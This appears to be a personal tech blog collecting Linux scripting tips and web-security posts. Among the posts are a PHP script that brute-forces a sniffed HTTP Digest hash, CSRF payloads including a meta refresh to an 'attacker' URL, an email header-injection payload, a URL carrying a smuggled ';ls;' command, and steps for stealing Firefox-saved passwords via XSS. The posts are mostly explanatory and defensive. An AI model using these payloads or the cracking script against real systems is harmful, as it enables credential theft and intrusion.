How to monitor cpu temperature change in linux

I wanted to monitor how fast the cpu temperature goes up when running heavy processes. This bash script prints out the cpu temperature and clears the screen, each second.

#!/bin/bash

while true
do
    acpi -t
    sleep 1
    clear
done

I am not quite sure how to interpret the output with mutiple CPUs.

How to package and run a jar file

I spent some time figuring out how to package some files in a jar file, and make it runnable. Apparently, it makes a difference if your project has a packagename. This guide assumes so.

Create a folder named testapp somewhere.

cd /tmp
mkdir testapp
cd testapp

The package name for our app will be

no.dvikan.testapp

Now, create a file structure which mirrors the package name.

mkdir -p src/no/dvikan/testapp

Inside the src/no/dvikan/testapp folder, create a file named Main.java and put a main method inside there:

package no.dvikan.testapp;

public class Main {
    public static void main(String[] args) {
        System.out.println("Goodbye cruel world");
    }
}

Let us now compile the program. First create a folder named bin under testapp.

mkdir bin

Then compile:

javac -d bin/ src/no/dvikan/testapp/Main.java

Very soon, you are ready to create the runnable jar file. But first, you must create a manifest file which says which file contains the main() method.

Here is manifest.txt. Save it in the root folder. That is, in the testapp folder.

Main-Class: no.dvikan.testapp.Main

It is very important that there is a newline at the end of the manifest.txt file.

Now create the runnable jar:

jar cvmf manifest.txt hello.jar -C bin/ .

Run the jar:

java -jar hello.jar

Success!

How to run bash script which ssh into box and runs commands

I needed to make a bash script which logs onto box with ssh, and then runs some commands. Here is how it is done:

ssh user@host "touch foobar123 && echo hello"

Remote command execution using only wget

I have discovered a method to get remote command execution using only wget. To show you how this works I first want you to wget this url like this:

wget www.google.com/support/forum/p/AdSense/thread?tid=;ls;#09dbf3733ec9b44d&hl=en

Do you see what I did there? Remote command execution using only wget! If you didn’t catch it, theres an “ls” inside the url, and a command separator before it. Credit to krill for showing me this.

How to count the lines of code in your project

My friend http://christian.tellnes.com/ challenged me to write a one liner for determining the number of lines of code in his project, in bash. This is what I came up with:

i=0;for file in `ls`;do if ! [ -d "$file" ]; then ((i=$i+`cat $file | wc -l`)); fi; done ; echo $i

Counts all files which are not folders, not recursively I am afraid. Here is the readable form:


i=0

for file in `ls`;do

	if ! [ -d "$file" ]; then
		((i=$i+`cat $file | wc -l`));
	fi;
done

echo $i

For doing this in all subfolders a recursive function is needed.

Ultra fast upload script for screenshots

I wanted to take a screenshot of a region of my screen, and upload it as fast as possible, so I can share it instantly. With this bash script, I have a shareable url to the screenshot in a matter of seconds. You need ssh access to a host where you can store files in a www directory.

#!/bin/bash

# This script takes a screenshot and uploads it to an ssh host. Shortly
# after, the url of the screenshot is loaded up in a webbrowser, and the
# url is copied to clipboard. Use ssh keys so you don't have to enter
# password each time. Invoke script from keyboard shortcut with e.g.
# CTRL+Print

filename=`date +%Y-%m-%d_%H.%M.%S`.png
host=dageriv@lynx.stud.ntnu.no
dir=public_html/images/
browser=firefox
url="http://folk.ntnu.no/dageriv/images/$filename"

hash import 2>&- || { echo "The program 'import' needs to be installed."; exit; }
hash xclip 2>&- || { echo "The program 'xclip' does not exist. The url will not be written " \
						   "to the clipboard"; }
# Add the url to clipboard
echo -n $url | xclip

# Launch screenshot tool
import /tmp/$filename

# Transfer it to remote ssh host
scp "/tmp/$filename" $host:$dir
echo "/tmp/$filename" $host:$dir

# ubuntu unity notification
if hash notify-send 2>&- ; then
	notify-send "Screenshot was uploaded"
fi

#Launch chosen browser with the url
$browser $url

Here is an example of me writing this blogpost: http://folk.ntnu.no/dageriv/images/2012-02-15_21.08.48.png
http://folk.ntnu.no/dageriv/images/2012-02-15_21.08.48.png

Need help using this script? Feel free to contact me.

Rickrolling through spotify

When firefox loads spotify urls such as spotify:track:6JEK0CvvjDjjMUBFoXShNZ, spotify automatically starts playing it, because I have told it to do so instead of asking me each time. This is an excellent oppurtunity to rick roll me like this:

<iframe src='spotify:track:6JEK0CvvjDjjMUBFoXShNZ' width='0' height='0'></iframe>

Opening spotify urls in firefox, ubuntu 10.04

This is how I made firefox open spotify urls such as: spotify:track:2uHWZXTngyea3xFEXFrdfP

I am using the native spotify client for linux, and not spotify under wine. Also my firefox version is 3.6.24 and my ubuntu is 10.04.

gconftool-2 -s /desktop/gnome/url-handlers/spotify/command '/usr/bin/spotify /uri %s' --type String
gconftool-2 -s /desktop/gnome/url-handlers/spotify/enabled --type Boolean true

Found myself an amazing new algorithm

My new favorite algorithm is the Ostrich algorithm
to stick your head in the sand and pretend that there is no problem

How to crack HTTP Digest access authentication

I was playing around with my dlink router and decided to explore one of HTTP’s authentication methods: http://en.wikipedia.org/wiki/Digest_Access_Authentication. You know, those boxes that pop up in your browser, asking for username and password:

In contrast to http://en.wikipedia.org/wiki/Basic_access_authentication, HTTP Digest access authentication doesn’t send password in cleartext, but hashed together with some other values. I accessed http://129.241.126.11/ and entered ‘admin’ as username, and ‘test’ as password. At the same, I picked this up using wireshark(pretending to be an attacker):

Then I started reading http://en.wikipedia.org/wiki/Digest_Access_Authentication and just implemented how the browser calculates the response hash, which is an md5 hash of a couple of values. On my cpu I get over 100k tries per second, so if the password is a word in the dictionary, this will be no problem. Here is the bruteforce script:

<?php

$wordlist = file('/tmp/all'); // 42M wordlist

$i = 0;
while($wordlist[$i]) {

	$user = "admin";
	$realm = "Miele Logic";
	$password = trim($wordlist[$i]);

	$nonce = "07ec2416ef0000009223000015000000";
	$nc = "00000001";
	$cnonce = "gdBxXVNT0y6npOpQ";
	$qop = "auth";

	$HA1 = md5("$user:$realm:$password");
	$HA2 = md5("GET:/");

	$response = md5("$HA1:$nonce:$nc:$cnonce:$qop:$HA2");

	if($i % 100000 == 0) {

		echo "$i\n"; // output $i at each 100k
	}

	if($response == '97b5e79866512f028266f34946117a2c') {

		echo $password . "\n";
		break;
	}
	$i++;
}
?>

RC4 implementation in C

RC4 is a very fast and easy to implement stream cipher which uses xor to produce a pseudorandom output keystream.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/*
 * RC4 implementation. usage: rc4 <plaintext> <key>
 *
 */

unsigned char S[256]; /* S-box */
unsigned int len;

void swap(unsigned char *a, unsigned char *b) {

	unsigned char tmp = *a;
	*a = *b;
	*b = tmp;
}

void rc4_init(char *key, int keylen) {

	int i;
	int j;

	for(i = 0; i < 256; i++) {

		S[i] = i;
	}

	/* randomize S-box */
	for(i = j = 0; i < 256; i++) {

		j = (j + key[i % keylen] + S[i]) % 256;
		swap(&S[i], &S[j]);
	}
}

void rc4_crypt(const char *in, unsigned char *out, size_t buflen) {

	int i;
	int j;
	int ks;

	for(i = j = 0; i < buflen; ) {

		i = (i + 1) % 256;
		j = (j + S[i]) % 256;
		swap(&S[i], &S[j]);
		ks = (S[i] + S[j]) % 256;

		//printf("%.2x", S[ks]);             // correctly prints key stream
		//printf("%.2X", S[ks] ^ in[i - 1]); // correctly prints ciphertext
		out[i - 1] = S[ks] ^ in[i - 1];
	}
}

void print_ciphertext(unsigned char *ciphertext) {

	int i;

	for(i = 0; i < len; i++) {
		printf("%.2X", ciphertext[i]);
	}
}

int main(int argc, char **argv) {

	if(argc != 3) {
		printf("usage: rc4 <plaintext> <key>\n");
		exit(1);
	}

	char *key = argv[2];
	char *plaintext = argv[1];
	len = strlen(plaintext);
	unsigned char ciphertext[strlen(plaintext)];

	rc4_init(key, strlen(key));
	rc4_crypt(plaintext, ciphertext, strlen(plaintext));

	/* for(int i = 0; i < strlen(ciphertext); i++) {
			printf("%.2X", ciphertext[i]);
		} */
	print_ciphertext(ciphertext);

	return 0;
}

How to fix: could not be installed because it is not compatible with firefox 6.0

When you update firefox, some addons will not install because the max version is set to something lower in the xpi archive.

To force firefox to try to install anyway;

unzip the .xpi archive

edit install.rdf and change max version to something higher than yours

remove the folder META-INF

zip it, and rename to something.xpi

open in firefox

 

META_INF have to be removed because there is some checksumming going on.

Packet sniffing through a Firefox extension

In a course I am taking, we had to write a 3 page long text on a subject of our choosing from a list of suggestions. I decided to write about Firesheep, which is an extension to Firefox which sniffs out session cookies from various websites.

The first “serious” text I have ever written!

Why Firesheep works, and how to counter it

Do you protect your logout link from CSRF?

The logout link is vulnerable to CSRF just as any other action that has an effect is. It’s not very dangerous to be affected by a logout attack, but it could be annoying. Especially if a users on a forum can put HTTP links as their profile picture etc. Then every user would be logged out each time time they viewed that profile picture.


<img src="/logout.php">

<script>new Image().src="/logout.php"</script>

XSS steals data from Firefox’s password manager

When you enter data in a login form, Firefox ask if I want to save that login for future logins. I use this feature all the time and have about 20-30 logins saved in Firefox. Whenever you visit a site, and Firefox has login credentials associated with that site, Firefox automatically inserts values in to the DOM. This way you can simply hit login.

How to steal user and pass

1. Find a xss bug.

2. Load the login form into the DOM somehow

3. Use javascript to access the data

Usually, users are already logged in, so the login form is not available. Then you could simply log the user out first by forcing GET /logout.php. You also have to wait for the page to fully have loaded, before you can access data.

I think RSnake in 2006, was the first to publicly talk about this technique.

I have made a proof of concept here

Email header injections explained

The principle is simple. When user input is used in different contexts, they mean different things. Html code means nothing in a pure ascii file. Sql commands mean nothing in a C compiler. And javascript means nothing in photshop. But if the right kind of meta characters are used in a spesific context, they can be highly dangerous.

One example of this is sql injections. Characters like ‘ and — suddenly have a big impact on the query.

The metacharacter in email header injections is the line feed, ‘\n’, 0x0A, or 10 in decimal. Urlencoded it is %0A. This is because the newline separates headers in emails. Here is an example of an email:

To: recipient@victim.xxx
Subject: Hello
From: sender@anonymous.xxx

Hi,
Your site is great.
Bye

When an attacker can change data which goes into headers, he can simply add a newline and put in whatever headers he may prefer.

An example of injecting a header in the “From” field:

sender@anonymous.xxx%0ACcc: test@test.com

The resulting email will look like this:

To: recipient@victim.xxx
Subject: Hello
From: sender@anonymous.xxx
Ccc: test@test.com

Hi,
Your site is great.
Bye

Which fill fire off a blind carbon copy to test@test.com.

 

This technique is used by spammers to spread their spam. The spammers construct very specific header injections, which will change the subject and the body.

How to prevent

A simple blacklist approach where you strip away all newlines may seem viable. But for maximum security, one should also account for unknown attacks. The best solution would be a regular expression which checks for valid email adresses.

The HTTP referrer cannot be trusted

The HTTP referrer can’t be trusted. The same goes for all the other HTTP headers. Why can’t you trust them? Because they are user inputs.

If you want to spoof your own browsers HTTP header you can simply edit them on the fly with a plugin or extension. Or you could emulate an HTTP connection using a programming language.

What this means is that an HTTP connection’s referrer could contain html, javascript, php, java, xml and so on. So if you are doing referrer logging, remember to only let through safe characters. Or else this may happen.

Maybe you thouht referrer checking prevents CSRF? A simple meta refresh blanks out the referrer:

<meta http-equiv="refresh" content="0;url=http://attacker/CSRF.html">

Instead, implement csrf tokens in your forms :)

Why won’t CSRF flaws go away?

CSRF is short for cross site request forgery, and is an attack, where your browser is forced to do cross site requests. This means that if you are logged in to site A, code from other domains can make changes on your behalf to site A. Say for example that index.php?action=delete&id=34 deletes a picture from your photo album. A simple:

<img src="http://A/index.php?action=delete&id=34" />

would delete the picture with id 34. Your browser unknowingly, sends along session identifiers. Why shouldn’t it?

I see it everywhere. Small sites, big sites. Why does it still persist? The flaw simply won’t go away. Is it PHP’s fault? PHP is such an easy language, enabling everyone to build some useful webapp. The built-in session management provides super easy access to session based systems. A simple login system can be made in an hour.

PHP is not to be blamed for the annoyances CSRF is causing the Internet. CSRF flaws are replicated again and again by non-computer people, and also computer educated people. Programmers introduce bugs and flaws.

Non-computer people can be excused for their blissful ignorance. They just wanna make that webapp do what it’s supposed to do. How are they supposed to know about the dangers lurking around the Internet? What about programmers with computer education? I don’t know. I’ve checked out my university’s computer degrees; as far as I can tell, there are no mandatory courses addressing computer security at the application layer. All the focus seems to be on encrypting the connection. A computer degree containing zero skills on application security doesn’t make sense.

What do you think? Will CSRF flaws ever end?

Unknown file extensions run as php in Apache

test.php.xyz will run as php.

As long as the file extension is unknown to Apache, the next extension is chosen, starting from the right. This is a reminder on why you should use whitelisting to validate input.

Whitelisting means to  check if input is allowed, based on predefined rules. For example: allow only numbers. Or allow only letters.

A blacklisting approach, predefines bad combinations of strings and metacharacters. This will work fine if you are a computer god, and you can enumerate all possible bad input. Which is unlikely.

Do whitelisting on input.

Automatic recovery of lost form data

After typing in a big wall of text, ready to be submitted. One of the following things happen:

  • Webbrowser crash
  • OS crash
  • Misclick on close button
  • Server timeout
  • Internet connection lost

We have all been there. Now, there exists plugins for recovering lost form data. Or you could search through the memory for it.

The basic idea is: periodically save user input in cookies. And at each pageload, load all data from cookies and insert them in their html elements. See form.html for working demo. Try inputting something, and then close your browser. And visit again.

form.html

formsaver.js

This code uses cookies, so if cookies are deleted after each session due to browser settings etc, obviously this will fail.

To use the code on your input elements; simply give each element a unique id, and provide all the ids to FormSaver(). Like this:


<input type="text" id="name">
<input type="text" id="email">
<textarea rows="10" cols="10" id="comment"></textarea>

<script src="formsaver.js"></script>

<script>
fields = new Array("name", "email", "comment");
FormSaver(fields);
</script>

Is this a good solution? Do you see any way this would fail?